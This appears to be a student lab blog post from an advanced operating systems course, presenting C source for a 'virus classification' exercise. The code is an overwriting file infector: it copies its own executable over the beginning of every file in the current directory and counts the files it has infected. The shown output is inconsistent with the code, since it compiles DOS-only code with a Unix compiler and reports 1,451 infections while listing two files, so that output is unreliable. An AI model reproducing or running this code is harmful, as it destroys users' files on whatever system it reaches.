Sunday, 17 July 2016

Program 5: Virus classification

MTech Advanced Operating Systems Lab(14SCS16) (1st sem)

Design and develop a program to realize the virus classification, such as boot sector infector, file infector and macro virus.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus, *host;
int done, a = 0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t  st, end;
void main()
{
            st = clock();
            clrscr();
            done = findfirst("*.*", &ffblk, 0);
            while(!done)
            {
                        virus = fopen(_argv[0], "rb");
                        host = fopen(ffblk.ff_name, "rb+");
                        if(host == NULL)
                                    goto next;
                        x = 89088;
                        printf("Infecting %s\n", ffblk.ff_name, a);
                        while(x>2048)
                        {
                                    fread(buff, 2048, 1, virus);
                                    fwrite(buff, 2048, 1, host);
                                    x -= 2048;
                        }
                        fread(buff, x, 1, virus);
                        fwrite(buff, x, 1, host);
                        a++;
                        next:
                        {
                                    fcloseall();
                                    done = findnext(&ffblk);
                        }
            }
            printf("DONE! (Total Files Infected = %d)", a);
            end = clock();
            printf("TIME TAKEN = %f SEC\n", (end-st)/CLK_TCK);
            getch();
}


Output:
vi virus.c
cc virus.c
./a.out

Infecting a1.txt
Infecting a1451.txt
DONE! (Total Files Infected = 1451)
TIME TAKEN = 5.054945 SEC

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